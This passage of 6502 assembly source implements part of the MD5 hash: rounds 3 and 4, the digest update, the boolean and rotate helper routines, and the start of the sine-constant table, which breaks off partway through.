 JSR MD5RL16 ;Rotate left 16
 JSR MD5ADDD
 JSR MD5STORC

 JSR MD5LOADB ;36  (b,c,d,a)
 JSR H_CDA
 JSR NEXT_T
 LDA #14
 JSR MD5ADDX
 JSR MD5RL23 ;Rotate left 23
 JSR MD5ADDC
 JSR MD5STORB

 JSR MD5LOADA ;37  (a,b,c,d)
 JSR H_BCD
 JSR NEXT_T
 LDA #1
 JSR MD5ADDX
 JSR MD5RL4
 JSR MD5ADDB
 JSR MD5STORA

 JSR MD5LOADD ;38  (d,a,b,c)
 JSR H_ABC
 JSR NEXT_T
 LDA #4
 JSR MD5ADDX
 JSR MD5RL11
 JSR MD5ADDA
 JSR MD5STORD

 JSR MD5LOADC ;39  (c,d,a,b)
 JSR H_DAB
 JSR NEXT_T
 LDA #7
 JSR MD5ADDX
 JSR MD5RL16
 JSR MD5ADDD
 JSR MD5STORC

 JSR MD5LOADB ;40  (b,c,d,a)
 JSR H_CDA
 JSR NEXT_T
 LDA #10
 JSR MD5ADDX
 JSR MD5RL23
 JSR MD5ADDC
 JSR MD5STORB

 JSR MD5LOADA ;41  (a,b,c,d)
 JSR H_BCD
 JSR NEXT_T
 LDA #13
 JSR MD5ADDX
 JSR MD5RL4
 JSR MD5ADDB
 JSR MD5STORA

 JSR MD5LOADD ;42  (d,a,b,c)
 JSR H_ABC
 JSR NEXT_T
 LDA #0
 JSR MD5ADDX
 JSR MD5RL11
 JSR MD5ADDA
 JSR MD5STORD

 JSR MD5LOADC ;43  (c,d,a,b)
 JSR H_DAB
 JSR NEXT_T
 LDA #3
 JSR MD5ADDX
 JSR MD5RL16
 JSR MD5ADDD
 JSR MD5STORC

 JSR MD5LOADB ;44  (b,c,d,a)
 JSR H_CDA
 JSR NEXT_T
 LDA #6
 JSR MD5ADDX
 JSR MD5RL23
 JSR MD5ADDC
 JSR MD5STORB

 JSR MD5LOADA ;45  (a,b,c,d)
 JSR H_BCD
 JSR NEXT_T
 LDA #9
 JSR MD5ADDX
 JSR MD5RL4
 JSR MD5ADDB
 JSR MD5STORA

 JSR MD5LOADD ;46  (d,a,b,c)
 JSR H_ABC
 JSR NEXT_T
 LDA #12
 JSR MD5ADDX
 JSR MD5RL11
 JSR MD5ADDA
 JSR MD5STORD

 JSR MD5LOADC ;47  (c,d,a,b)
 JSR H_DAB
 JSR NEXT_T
 LDA #15
 JSR MD5ADDX
 JSR MD5RL16
 JSR MD5ADDD
 JSR MD5STORC

 JSR MD5LOADB ;48  (b,c,d,a)
 JSR H_CDA
 JSR NEXT_T
 LDA #2
 JSR MD5ADDX
 JSR MD5RL23
 JSR MD5ADDC
 JSR MD5STORB

* Round 4 : I-functions
*          a = b + ((a + I(b,c,d) + X[k] + T[i]) <<< s). */

 JSR MD5LOADA ;49  (a,b,c,d)
 JSR I_BCD
 JSR NEXT_T
 LDA #0
 JSR MD5ADDX
 JSR MD5RL6 ;Rotate Left 6
 JSR MD5ADDB
 JSR MD5STORA

 JSR MD5LOADD ;50  (d,a,b,c)
 JSR I_ABC
 JSR NEXT_T
 LDA #7
 JSR MD5ADDX
 JSR MD5RL10 ;Rotate Left 10
 JSR MD5ADDA
 JSR MD5STORD

 JSR MD5LOADC ;51  (c,d,a,b)
 JSR I_DAB
 JSR NEXT_T
 LDA #14
 JSR MD5ADDX
 JSR MD5RL15 ;Rotate left 15
 JSR MD5ADDD
 JSR MD5STORC

 JSR MD5LOADB ;52  (b,c,d,a)
 JSR I_CDA
 JSR NEXT_T
 LDA #5
 JSR MD5ADDX
 JSR MD5RL21 ;Rotate left 21
 JSR MD5ADDC
 JSR MD5STORB

 JSR MD5LOADA ;53  (a,b,c,d)
 JSR I_BCD
 JSR NEXT_T
 LDA #12
 JSR MD5ADDX
 JSR MD5RL6
 JSR MD5ADDB
 JSR MD5STORA

 JSR MD5LOADD ;54  (d,a,b,c)
 JSR I_ABC
 JSR NEXT_T
 LDA #3
 JSR MD5ADDX
 JSR MD5RL10
 JSR MD5ADDA
 JSR MD5STORD

 JSR MD5LOADC ;55  (c,d,a,b)
 JSR I_DAB
 JSR NEXT_T
 LDA #10
 JSR MD5ADDX
 JSR MD5RL15
 JSR MD5ADDD
 JSR MD5STORC

 JSR MD5LOADB ;56  (b,c,d,a)
 JSR I_CDA
 JSR NEXT_T
 LDA #1
 JSR MD5ADDX
 JSR MD5RL21
 JSR MD5ADDC
 JSR MD5STORB

 JSR MD5LOADA ;57  (a,b,c,d)
 JSR I_BCD
 JSR NEXT_T
 LDA #8
 JSR MD5ADDX
 JSR MD5RL6
 JSR MD5ADDB
 JSR MD5STORA

 JSR MD5LOADD ;58  (d,a,b,c)
 JSR I_ABC
 JSR NEXT_T
 LDA #15
 JSR MD5ADDX
 JSR MD5RL10
 JSR MD5ADDA
 JSR MD5STORD

 JSR MD5LOADC ;59  (c,d,a,b)
 JSR I_DAB
 JSR NEXT_T
 LDA #6
 JSR MD5ADDX
 JSR MD5RL15
 JSR MD5ADDD
 JSR MD5STORC

 JSR MD5LOADB ;60  (b,c,d,a)
 JSR I_CDA
 JSR NEXT_T
 LDA #13
 JSR MD5ADDX
 JSR MD5RL21
 JSR MD5ADDC
 JSR MD5STORB

 JSR MD5LOADA ;61  (a,b,c,d)
 JSR I_BCD
 JSR NEXT_T
 LDA #4
 JSR MD5ADDX
 JSR MD5RL6
 JSR MD5ADDB
 JSR MD5STORA

 JSR MD5LOADD ;62  (d,a,b,c)
 JSR I_ABC
 JSR NEXT_T
 LDA #11
 JSR MD5ADDX
 JSR MD5RL10
 JSR MD5ADDA
 JSR MD5STORD

 JSR MD5LOADC ;63  (c,d,a,b)
 JSR I_DAB
 JSR NEXT_T
 LDA #2
 JSR MD5ADDX
 JSR MD5RL15
 JSR MD5ADDD
 JSR MD5STORC

 JSR MD5LOADB ;64  (b,c,d,a)
 JSR I_CDA
 JSR NEXT_T
 LDA #9
 JSR MD5ADDX
 JSR MD5RL21
 JSR MD5ADDC
 JSR MD5STORB


* Add value to previous digest.
* Note that this is four seperate 32-bit additions

 CLC
 LDA MD5TEMPB
 ADC DIGEST
 STA DIGEST
 LDA MD5TEMPB+1
 ADC DIGEST+1
 STA DIGEST+1
 LDA MD5TEMPB+2
 ADC DIGEST+2
 STA DIGEST+2
 LDA MD5TEMPB+3
 ADC DIGEST+3
 STA DIGEST+3
 CLC
 LDA MD5TEMPB+4
 ADC DIGEST+4
 STA DIGEST+4
 LDA MD5TEMPB+5
 ADC DIGEST+5
 STA DIGEST+5
 LDA MD5TEMPB+6
 ADC DIGEST+6
 STA DIGEST+6
 LDA MD5TEMPB+7
 ADC DIGEST+7
 STA DIGEST+7
 CLC
 LDA MD5TEMPB+8
 ADC DIGEST+8
 STA DIGEST+8
 LDA MD5TEMPB+9
 ADC DIGEST+9
 STA DIGEST+9
 LDA MD5TEMPB+10
 ADC DIGEST+10
 STA DIGEST+10
 LDA MD5TEMPB+11
 ADC DIGEST+11
 STA DIGEST+11
 CLC
 LDA MD5TEMPB+12
 ADC DIGEST+12
 STA DIGEST+12
 LDA MD5TEMPB+13
 ADC DIGEST+13
 STA DIGEST+13
 LDA MD5TEMPB+14
 ADC DIGEST+14
 STA DIGEST+14
 LDA MD5TEMPB+15
 ADC DIGEST+15
 STA DIGEST+15

 RTS


* Basic MD5 functions

MD5LOADA LDA MD5TEMPB ;Put 'A' into temp variable
 STA MD5TEMPV
 LDA MD5TEMPB+1
 STA MD5TEMPV+1
 LDA MD5TEMPB+2
 STA MD5TEMPV+2
 LDA MD5TEMPB+3
 STA MD5TEMPV+3
 RTS

MD5LOADB LDA MD5TEMPB+4 ;Put 'B' into temp variable
 STA MD5TEMPV
 LDA MD5TEMPB+5
 STA MD5TEMPV+1
 LDA MD5TEMPB+6
 STA MD5TEMPV+2
 LDA MD5TEMPB+7
 STA MD5TEMPV+3
 RTS

MD5LOADC LDA MD5TEMPB+8 ;Put 'C' into temp variable
 STA MD5TEMPV
 LDA MD5TEMPB+9
 STA MD5TEMPV+1
 LDA MD5TEMPB+10
 STA MD5TEMPV+2
 LDA MD5TEMPB+11
 STA MD5TEMPV+3
 RTS

MD5LOADD LDA MD5TEMPB+12 ;Put 'D' into temp variable
 STA MD5TEMPV
 LDA MD5TEMPB+13
 STA MD5TEMPV+1
 LDA MD5TEMPB+14
 STA MD5TEMPV+2
 LDA MD5TEMPB+15
 STA MD5TEMPV+3
 RTS


MD5STORA LDA MD5TEMPV ;Store temp variable into 'A' in temp buffer
 STA MD5TEMPB
 LDA MD5TEMPV+1
 STA MD5TEMPB+1
 LDA MD5TEMPV+2
 STA MD5TEMPB+2
 LDA MD5TEMPV+3
 STA MD5TEMPB+3
 RTS

MD5STORB LDA MD5TEMPV ;Store temp variable into 'B'
 STA MD5TEMPB+4
 LDA MD5TEMPV+1
 STA MD5TEMPB+5
 LDA MD5TEMPV+2
 STA MD5TEMPB+6
 LDA MD5TEMPV+3
 STA MD5TEMPB+7
 RTS

MD5STORC LDA MD5TEMPV ;Store temp variable into 'C'
 STA MD5TEMPB+8
 LDA MD5TEMPV+1
 STA MD5TEMPB+9
 LDA MD5TEMPV+2
 STA MD5TEMPB+10
 LDA MD5TEMPV+3
 STA MD5TEMPB+11
 RTS

MD5STORD LDA MD5TEMPV ;Store temp variable into 'D'
 STA MD5TEMPB+12
 LDA MD5TEMPV+1
 STA MD5TEMPB+13
 LDA MD5TEMPV+2
 STA MD5TEMPB+14
 LDA MD5TEMPV+3
 STA MD5TEMPB+15
 RTS


MD5ADDA CLC ;Add 'A' to temp variable
 LDA MD5TEMPB
 ADC MD5TEMPV
 STA MD5TEMPV
 LDA MD5TEMPB+1
 ADC MD5TEMPV+1
 STA MD5TEMPV+1
 LDA MD5TEMPB+2
 ADC MD5TEMPV+2
 STA MD5TEMPV+2
 LDA MD5TEMPB+3
 ADC MD5TEMPV+3
 STA MD5TEMPV+3
 RTS

MD5ADDB CLC ;Add 'B' to temp variable
 LDA MD5TEMPB+4
 ADC MD5TEMPV
 STA MD5TEMPV
 LDA MD5TEMPB+5
 ADC MD5TEMPV+1
 STA MD5TEMPV+1
 LDA MD5TEMPB+6
 ADC MD5TEMPV+2
 STA MD5TEMPV+2
 LDA MD5TEMPB+7
 ADC MD5TEMPV+3
 STA MD5TEMPV+3
 RTS

MD5ADDC CLC ;Add 'C' to temp variable
 LDA MD5TEMPB+8
 ADC MD5TEMPV
 STA MD5TEMPV
 LDA MD5TEMPB+9
 ADC MD5TEMPV+1
 STA MD5TEMPV+1
 LDA MD5TEMPB+10
 ADC MD5TEMPV+2
 STA MD5TEMPV+2
 LDA MD5TEMPB+11
 ADC MD5TEMPV+3
 STA MD5TEMPV+3
 RTS

MD5ADDD CLC ;Add 'D' to temp variable
 LDA MD5TEMPB+12
 ADC MD5TEMPV
 STA MD5TEMPV
 LDA MD5TEMPB+13
 ADC MD5TEMPV+1
 STA MD5TEMPV+1
 LDA MD5TEMPB+14
 ADC MD5TEMPV+2
 STA MD5TEMPV+2
 LDA MD5TEMPB+15
 ADC MD5TEMPV+3
 STA MD5TEMPV+3
 RTS


* F function:
*          F(X,Y,Z) = XY v not(X) Z

F_BCD LDA MD5TEMPB+4 ;B&C
 AND MD5TEMPB+8
 STA MD5TEMP2
 LDA MD5TEMPB+5
 AND MD5TEMPB+9
 STA MD5TEMP2+1
 LDA MD5TEMPB+6
 AND MD5TEMPB+10
 STA MD5TEMP2+2
 LDA MD5TEMPB+7
 AND MD5TEMPB+11
 STA MD5TEMP2+3
 CLC ;not(B)&D or (previous) -> MD5TEMPV+=
 LDA MD5TEMPB+4
 EOR #$FF
 AND MD5TEMPB+12
 ORA MD5TEMP2
 ADC MD5TEMPV
 STA MD5TEMPV
 LDA MD5TEMPB+5 ;
 EOR #$FF
 AND MD5TEMPB+13
 ORA MD5TEMP2+1
 ADC MD5TEMPV+1
 STA MD5TEMPV+1
 LDA MD5TEMPB+6 ;
 EOR #$FF
 AND MD5TEMPB+14
 ORA MD5TEMP2+2
 ADC MD5TEMPV+2
 STA MD5TEMPV+2
 LDA MD5TEMPB+7 ;
 EOR #$FF
 AND MD5TEMPB+15
 ORA MD5TEMP2+3
 ADC MD5TEMPV+3
 STA MD5TEMPV+3
 RTS

F_ABC LDA MD5TEMPB ;A&B
 AND MD5TEMPB+4
 STA MD5TEMP2
 LDA MD5TEMPB+1
 AND MD5TEMPB+5
 STA MD5TEMP2+1
 LDA MD5TEMPB+2
 AND MD5TEMPB+6
 STA MD5TEMP2+2
 LDA MD5TEMPB+3
 AND MD5TEMPB+7
 STA MD5TEMP2+3
 CLC ;not(A)&C or (previous) -> MD5TEMPV+=
 LDA MD5TEMPB
 EOR #$FF
 AND MD5TEMPB+8
 ORA MD5TEMP2
 ADC MD5TEMPV
 STA MD5TEMPV
 LDA MD5TEMPB+1 ;
 EOR #$FF
 AND MD5TEMPB+9
 ORA MD5TEMP2+1
 ADC MD5TEMPV+1
 STA MD5TEMPV+1
 LDA MD5TEMPB+2 ;
 EOR #$FF
 AND MD5TEMPB+10
 ORA MD5TEMP2+2
 ADC MD5TEMPV+2
 STA MD5TEMPV+2
 LDA MD5TEMPB+3 ;
 EOR #$FF
 AND MD5TEMPB+11
 ORA MD5TEMP2+3
 ADC MD5TEMPV+3
 STA MD5TEMPV+3
 RTS

F_DAB LDA MD5TEMPB+12 ;D&A
 AND MD5TEMPB
 STA MD5TEMP2
 LDA MD5TEMPB+13
 AND MD5TEMPB+1
 STA MD5TEMP2+1
 LDA MD5TEMPB+14
 AND MD5TEMPB+2
 STA MD5TEMP2+2
 LDA MD5TEMPB+15
 AND MD5TEMPB+3
 STA MD5TEMP2+3
 CLC ;not(D)&B or (previous) -> MD5TEMPV+=
 LDA MD5TEMPB+12
 EOR #$FF
 AND MD5TEMPB+4
 ORA MD5TEMP2
 ADC MD5TEMPV
 STA MD5TEMPV
 LDA MD5TEMPB+13 ;
 EOR #$FF
 AND MD5TEMPB+5
 ORA MD5TEMP2+1
 ADC MD5TEMPV+1
 STA MD5TEMPV+1
 LDA MD5TEMPB+14 ;
 EOR #$FF
 AND MD5TEMPB+6
 ORA MD5TEMP2+2
 ADC MD5TEMPV+2
 STA MD5TEMPV+2
 LDA MD5TEMPB+15 ;
 EOR #$FF
 AND MD5TEMPB+7
 ORA MD5TEMP2+3
 ADC MD5TEMPV+3
 STA MD5TEMPV+3
 RTS

F_CDA LDA MD5TEMPB+8 ;C&D
 AND MD5TEMPB+12
 STA MD5TEMP2
 LDA MD5TEMPB+9
 AND MD5TEMPB+13
 STA MD5TEMP2+1
 LDA MD5TEMPB+10
 AND MD5TEMPB+14
 STA MD5TEMP2+2
 LDA MD5TEMPB+11
 AND MD5TEMPB+15
 STA MD5TEMP2+3
 CLC ;not(C)&A or (previous) -> MD5TEMPV+=
 LDA MD5TEMPB+8
 EOR #$FF
 AND MD5TEMPB
 ORA MD5TEMP2
 ADC MD5TEMPV
 STA MD5TEMPV
 LDA MD5TEMPB+9 ;
 EOR #$FF
 AND MD5TEMPB+1
 ORA MD5TEMP2+1
 ADC MD5TEMPV+1
 STA MD5TEMPV+1
 LDA MD5TEMPB+10 ;
 EOR #$FF
 AND MD5TEMPB+2
 ORA MD5TEMP2+2
 ADC MD5TEMPV+2
 STA MD5TEMPV+2
 LDA MD5TEMPB+11 ;
 EOR #$FF
 AND MD5TEMPB+3
 ORA MD5TEMP2+3
 ADC MD5TEMPV+3
 STA MD5TEMPV+3
 RTS


* G Function:
*          G(X,Y,Z) = XZ v Y not(Z)

G_BCD LDA MD5TEMPB+4 ;B&D
 AND MD5TEMPB+12
 STA MD5TEMP2
 LDA MD5TEMPB+5
 AND MD5TEMPB+13
 STA MD5TEMP2+1
 LDA MD5TEMPB+6
 AND MD5TEMPB+14
 STA MD5TEMP2+2
 LDA MD5TEMPB+7
 AND MD5TEMPB+15
 STA MD5TEMP2+3
 CLC ;not(D)&C or (previous) -> MD5TEMPV+=
 LDA MD5TEMPB+12
 EOR #$FF
 AND MD5TEMPB+8
 ORA MD5TEMP2
 ADC MD5TEMPV
 STA MD5TEMPV
 LDA MD5TEMPB+13 ;
 EOR #$FF
 AND MD5TEMPB+9
 ORA MD5TEMP2+1
 ADC MD5TEMPV+1
 STA MD5TEMPV+1
 LDA MD5TEMPB+14 ;
 EOR #$FF
 AND MD5TEMPB+10
 ORA MD5TEMP2+2
 ADC MD5TEMPV+2
 STA MD5TEMPV+2
 LDA MD5TEMPB+15 ;
 EOR #$FF
 AND MD5TEMPB+11
 ORA MD5TEMP2+3
 ADC MD5TEMPV+3
 STA MD5TEMPV+3
 RTS

G_ABC LDA MD5TEMPB ;A&C
 AND MD5TEMPB+8
 STA MD5TEMP2
 LDA MD5TEMPB+1
 AND MD5TEMPB+9
 STA MD5TEMP2+1
 LDA MD5TEMPB+2
 AND MD5TEMPB+10
 STA MD5TEMP2+2
 LDA MD5TEMPB+3
 AND MD5TEMPB+11
 STA MD5TEMP2+3
 CLC ;not(C)&B or (previous) -> MD5TEMPV+=
 LDA MD5TEMPB+8
 EOR #$FF
 AND MD5TEMPB+4
 ORA MD5TEMP2
 ADC MD5TEMPV
 STA MD5TEMPV
 LDA MD5TEMPB+9 ;
 EOR #$FF
 AND MD5TEMPB+5
 ORA MD5TEMP2+1
 ADC MD5TEMPV+1
 STA MD5TEMPV+1
 LDA MD5TEMPB+10 ;
 EOR #$FF
 AND MD5TEMPB+6
 ORA MD5TEMP2+2
 ADC MD5TEMPV+2
 STA MD5TEMPV+2
 LDA MD5TEMPB+11 ;
 EOR #$FF
 AND MD5TEMPB+7
 ORA MD5TEMP2+3
 ADC MD5TEMPV+3
 STA MD5TEMPV+3
 RTS

G_DAB LDA MD5TEMPB+4 ;B&D
 AND MD5TEMPB+12
 STA MD5TEMP2
 LDA MD5TEMPB+5
 AND MD5TEMPB+13
 STA MD5TEMP2+1
 LDA MD5TEMPB+6
 AND MD5TEMPB+14
 STA MD5TEMP2+2
 LDA MD5TEMPB+7
 AND MD5TEMPB+15
 STA MD5TEMP2+3
 CLC ;not(B)&A or (previous) -> MD5TEMPV+=
 LDA MD5TEMPB+4
 EOR #$FF
 AND MD5TEMPB
 ORA MD5TEMP2
 ADC MD5TEMPV
 STA MD5TEMPV
 LDA MD5TEMPB+5 ;
 EOR #$FF
 AND MD5TEMPB+1
 ORA MD5TEMP2+1
 ADC MD5TEMPV+1
 STA MD5TEMPV+1
 LDA MD5TEMPB+6 ;
 EOR #$FF
 AND MD5TEMPB+2
 ORA MD5TEMP2+2
 ADC MD5TEMPV+2
 STA MD5TEMPV+2
 LDA MD5TEMPB+7 ;
 EOR #$FF
 AND MD5TEMPB+3
 ORA MD5TEMP2+3
 ADC MD5TEMPV+3
 STA MD5TEMPV+3
 RTS

G_CDA LDA MD5TEMPB ;C&A
 AND MD5TEMPB+8
 STA MD5TEMP2
 LDA MD5TEMPB+1
 AND MD5TEMPB+9
 STA MD5TEMP2+1
 LDA MD5TEMPB+2
 AND MD5TEMPB+10
 STA MD5TEMP2+2
 LDA MD5TEMPB+3
 AND MD5TEMPB+11
 STA MD5TEMP2+3
 CLC ;not(A)&D or (previous) -> MD5TEMPV+=
 LDA MD5TEMPB
 EOR #$FF
 AND MD5TEMPB+12
 ORA MD5TEMP2
 ADC MD5TEMPV
 STA MD5TEMPV
 LDA MD5TEMPB+1 ;
 EOR #$FF
 AND MD5TEMPB+13
 ORA MD5TEMP2+1
 ADC MD5TEMPV+1
 STA MD5TEMPV+1
 LDA MD5TEMPB+2 ;
 EOR #$FF
 AND MD5TEMPB+14
 ORA MD5TEMP2+2
 ADC MD5TEMPV+2
 STA MD5TEMPV+2
 LDA MD5TEMPB+3 ;
 EOR #$FF
 AND MD5TEMPB+15
 ORA MD5TEMP2+3
 ADC MD5TEMPV+3
 STA MD5TEMPV+3
 RTS

* H function:
*          H(X,Y,Z) = X xor Y xor Z

H_BCD CLC ;BxCxD
 LDA MD5TEMPB+4
 EOR MD5TEMPB+8
 EOR MD5TEMPB+12
 ADC MD5TEMPV
 STA MD5TEMPV
 LDA MD5TEMPB+5
 EOR MD5TEMPB+9
 EOR MD5TEMPB+13
 ADC MD5TEMPV+1
 STA MD5TEMPV+1
 LDA MD5TEMPB+6
 EOR MD5TEMPB+10
 EOR MD5TEMPB+14
 ADC MD5TEMPV+2
 STA MD5TEMPV+2
 LDA MD5TEMPB+7
 EOR MD5TEMPB+11
 EOR MD5TEMPB+15
 ADC MD5TEMPV+3
 STA MD5TEMPV+3
 RTS

H_ABC CLC ;AxBxC
 LDA MD5TEMPB
 EOR MD5TEMPB+4
 EOR MD5TEMPB+8
 ADC MD5TEMPV
 STA MD5TEMPV
 LDA MD5TEMPB+1
 EOR MD5TEMPB+5
 EOR MD5TEMPB+9
 ADC MD5TEMPV+1
 STA MD5TEMPV+1
 LDA MD5TEMPB+2
 EOR MD5TEMPB+6
 EOR MD5TEMPB+10
 ADC MD5TEMPV+2
 STA MD5TEMPV+2
 LDA MD5TEMPB+3
 EOR MD5TEMPB+7
 EOR MD5TEMPB+11
 ADC MD5TEMPV+3
 STA MD5TEMPV+3
 RTS

H_DAB CLC ;AxBxD
 LDA MD5TEMPB
 EOR MD5TEMPB+4
 EOR MD5TEMPB+12
 ADC MD5TEMPV
 STA MD5TEMPV
 LDA MD5TEMPB+1
 EOR MD5TEMPB+5
 EOR MD5TEMPB+13
 ADC MD5TEMPV+1
 STA MD5TEMPV+1
 LDA MD5TEMPB+2
 EOR MD5TEMPB+6
 EOR MD5TEMPB+14
 ADC MD5TEMPV+2
 STA MD5TEMPV+2
 LDA MD5TEMPB+3
 EOR MD5TEMPB+7
 EOR MD5TEMPB+15
 ADC MD5TEMPV+3
 STA MD5TEMPV+3
 RTS

H_CDA CLC ;AxCxD
 LDA MD5TEMPB
 EOR MD5TEMPB+8
 EOR MD5TEMPB+12
 ADC MD5TEMPV
 STA MD5TEMPV
 LDA MD5TEMPB+1
 EOR MD5TEMPB+9
 EOR MD5TEMPB+13
 ADC MD5TEMPV+1
 STA MD5TEMPV+1
 LDA MD5TEMPB+2
 EOR MD5TEMPB+10
 EOR MD5TEMPB+14
 ADC MD5TEMPV+2
 STA MD5TEMPV+2
 LDA MD5TEMPB+3
 EOR MD5TEMPB+11
 EOR MD5TEMPB+15
 ADC MD5TEMPV+3
 STA MD5TEMPV+3
 RTS


* I function
*          I(X,Y,Z) = Y xor (X v not(Z))

I_BCD CLC  ~D|B^C
 LDA MD5TEMPB+12
 EOR #$FF
 ORA MD5TEMPB+4
 EOR MD5TEMPB+8
 ADC MD5TEMPV
 STA MD5TEMPV
 LDA MD5TEMPB+13
 EOR #$FF
 ORA MD5TEMPB+5
 EOR MD5TEMPB+9
 ADC MD5TEMPV+1
 STA MD5TEMPV+1
 LDA MD5TEMPB+14
 EOR #$FF
 ORA MD5TEMPB+6
 EOR MD5TEMPB+10
 ADC MD5TEMPV+2
 STA MD5TEMPV+2
 LDA MD5TEMPB+15
 EOR #$FF
 ORA MD5TEMPB+7
 EOR MD5TEMPB+11
 ADC MD5TEMPV+3
 STA MD5TEMPV+3
 RTS

I_ABC CLC  ~C|A^B
 LDA MD5TEMPB+8
 EOR #$FF
 ORA MD5TEMPB
 EOR MD5TEMPB+4
 ADC MD5TEMPV
 STA MD5TEMPV
 LDA MD5TEMPB+9
 EOR #$FF
 ORA MD5TEMPB+1
 EOR MD5TEMPB+5
 ADC MD5TEMPV+1
 STA MD5TEMPV+1
 LDA MD5TEMPB+10
 EOR #$FF
 ORA MD5TEMPB+2
 EOR MD5TEMPB+6
 ADC MD5TEMPV+2
 STA MD5TEMPV+2
 LDA MD5TEMPB+11
 EOR #$FF
 ORA MD5TEMPB+3
 EOR MD5TEMPB+7
 ADC MD5TEMPV+3
 STA MD5TEMPV+3
 RTS

I_DAB CLC  ~B|D^A
 LDA MD5TEMPB+4
 EOR #$FF
 ORA MD5TEMPB+12
 EOR MD5TEMPB
 ADC MD5TEMPV
 STA MD5TEMPV
 LDA MD5TEMPB+5
 EOR #$FF
 ORA MD5TEMPB+13
 EOR MD5TEMPB+1
 ADC MD5TEMPV+1
 STA MD5TEMPV+1
 LDA MD5TEMPB+6
 EOR #$FF
 ORA MD5TEMPB+14
 EOR MD5TEMPB+2
 ADC MD5TEMPV+2
 STA MD5TEMPV+2
 LDA MD5TEMPB+7
 EOR #$FF
 ORA MD5TEMPB+15
 EOR MD5TEMPB+3
 ADC MD5TEMPV+3
 STA MD5TEMPV+3
 RTS

I_CDA CLC  ~A|C^D
 LDA MD5TEMPB
 EOR #$FF
 ORA MD5TEMPB+8
 EOR MD5TEMPB+12
 ADC MD5TEMPV
 STA MD5TEMPV
 LDA MD5TEMPB+1
 EOR #$FF
 ORA MD5TEMPB+9
 EOR MD5TEMPB+13
 ADC MD5TEMPV+1
 STA MD5TEMPV+1
 LDA MD5TEMPB+2
 EOR #$FF
 ORA MD5TEMPB+10
 EOR MD5TEMPB+14
 ADC MD5TEMPV+2
 STA MD5TEMPV+2
 LDA MD5TEMPB+3
 EOR #$FF
 ORA MD5TEMPB+11
 EOR MD5TEMPB+15
 ADC MD5TEMPV+3
 STA MD5TEMPV+3
 RTS


*Rotate left functions

MD5RL LDA MD5TEMPV ;Rotate the 32-bit temp var left by one bit
 ASL
 STA MD5TEMPV
 LDA MD5TEMPV+1
 ROL
 STA MD5TEMPV+1
 LDA MD5TEMPV+2
 ROL
 STA MD5TEMPV+2
 LDA MD5TEMPV+3
 ROL
 STA MD5TEMPV+3
 LDA MD5TEMPV ;Take high bit and wrap around;
 ADC #0 ; add it to empty position in lowest byte
 STA MD5TEMPV
 RTS

* This is somewhat sloppy but it works
* It should be optimized to use full byte shifts when possible.

MD5RL7 LUP 7
 JSR MD5RL
 --^
 RTS

MD5RL12 LUP 12
 JSR MD5RL
 --^
 RTS

MD5RL17 LUP 17
 JSR MD5RL
 --^
 RTS

MD5RL22 LUP 22
 JSR MD5RL
 --^
 RTS

MD5RL5 LUP 5
 JSR MD5RL
 --^
 RTS

MD5RL9 LUP 9
 JSR MD5RL
 --^
 RTS

MD5RL14 LUP 14
 JSR MD5RL
 --^
 RTS

MD5RL20 LUP 20
 JSR MD5RL
 --^
 RTS

MD5RL4 LUP 4
 JSR MD5RL
 --^
 RTS

MD5RL11 LUP 11
 JSR MD5RL
 --^
 RTS

MD5RL16 LUP 16
 JSR MD5RL
 --^
 RTS

MD5RL23 LUP 23
 JSR MD5RL
 --^
 RTS

MD5RL6 LUP 6
 JSR MD5RL
 --^
 RTS

MD5RL10 LUP 10
 JSR MD5RL
 --^
 RTS

MD5RL15 LUP 15
 JSR MD5RL
 --^
 RTS

MD5RL21 LUP 21
 JSR MD5RL
 --^
 RTS

*Get data from input block and add it to temp variable

MD5ADDX ASL
 ASL
 CLC ;It better not be greater than 16 anyway!
 TAX
 LDA MD5BUFR,X
 ADC MD5TEMPV
 STA MD5TEMPV
 LDA MD5BUFR+1,X
 ADC MD5TEMPV+1
 STA MD5TEMPV+1
 LDA MD5BUFR+2,X
 ADC MD5TEMPV+2
 STA MD5TEMPV+2
 LDA MD5BUFR+3,X
 ADC MD5TEMPV+3
 STA MD5TEMPV+3
 RTS


*Get next element from table and add it to temp variable

NEXT_T LDX MD5TP
 CLC
 LDA MD5T+3,X ;reverse byte order
 ADC MD5TEMPV
 STA MD5TEMPV
 LDA MD5T+2,X
 ADC MD5TEMPV+1
 STA MD5TEMPV+1
 LDA MD5T+1,X
 ADC MD5TEMPV+2
 STA MD5TEMPV+2
 LDA MD5T,X
 ADC MD5TEMPV+3
 STA MD5TEMPV+3
 INX
 INX
 INX
 INX
 STX MD5TP
 RTS


* MD5 Sine Constants

*   The following is the 64-element MD5 table T[1 ... 64] constructed from
*   the sine function. Let T[i] denote the i-th element of the table, which
*   is equal to the integer part of 2^32, or 4294967296, times abs(sin(i)),
*   where i is in radians.
*
*   Sorry, Colin, no occult messages here. :)

* These need to be re-arranged to LSB-first
* (which is done by the NEXT_T subroutine)

MD5TP HEX 00 ;Pointer to current element in table below
MD5T

*  /* Round 1 */

 HEX D76AA478 ; /* 1 */
 HEX E8C7B756 ; /* 2 */
 HEX 242070DB ; /* 3 */
 HEX C1BDCEEE ; /* 4 */
 HEX F57C0FAF ; /* 5 */
 HEX 4787C62A ; /* 6 */
 HEX A8304613 ; /* 7 */
 HEX FD469501 ; /* 8 */
 HEX 698098D8 ; /* 9 */
 HEX 8B44F7AF ; /* 10 */
 HEX FFFF5BB1 ; /* 11 */
 HEX 895CD7BE ; /* 12 */
 HEX 6B901122 ; /* 13 */
 HEX FD987193 ; /* 14 */
 HEX A679438E ; /* 15 */
 HEX 49B40821 ; /* 16 */

*  /* Round 2 */

 HEX F61E2562 ; /* 17 */
 HEX C040B340 ; /* 18 */
 HEX 265E5A51 ; /* 19 */
 HEX E9B6C7AA ; /* 20 */
 HEX D62F105D ; /* 21 */
 HEX 02441453 ; /* 22 */
 HEX D8A1E681 ; /* 23 */
 HEX E7D3FBC8 ; /* 24 */
 HEX 21E1CDE6 ; /* 25 */
 HEX C33707D6 ; /* 26 */
 HEX F4D50D87 ; /* 27 */
 HEX 455A14ED ; /* 28 */
 HEX A9E3E905 ; /* 29 */
 HEX FCEFA3F8 ; /* 30 */
 HEX 676F02D9 ; /* 31 */
 HEX 8D2A4C8A ; /* 32 */

*  /* Round 3 */

 HEX FFFA3942 ; /* 33 */
 HEX 8771F681 ; /* 34 */
 HEX 6D9D6122 ; /* 35 */
 HEX FDE5380C ; /* 36 */
 HEX A4BEEA44 ; /* 37 */
 HEX 4BDECFA9 ; /* 38 */
 HEX F6BB4B60 ; /* 39 */
 HEX BEBFBC70 ; /* 40 */
 HEX 289B7EC6 ; /* 41 */
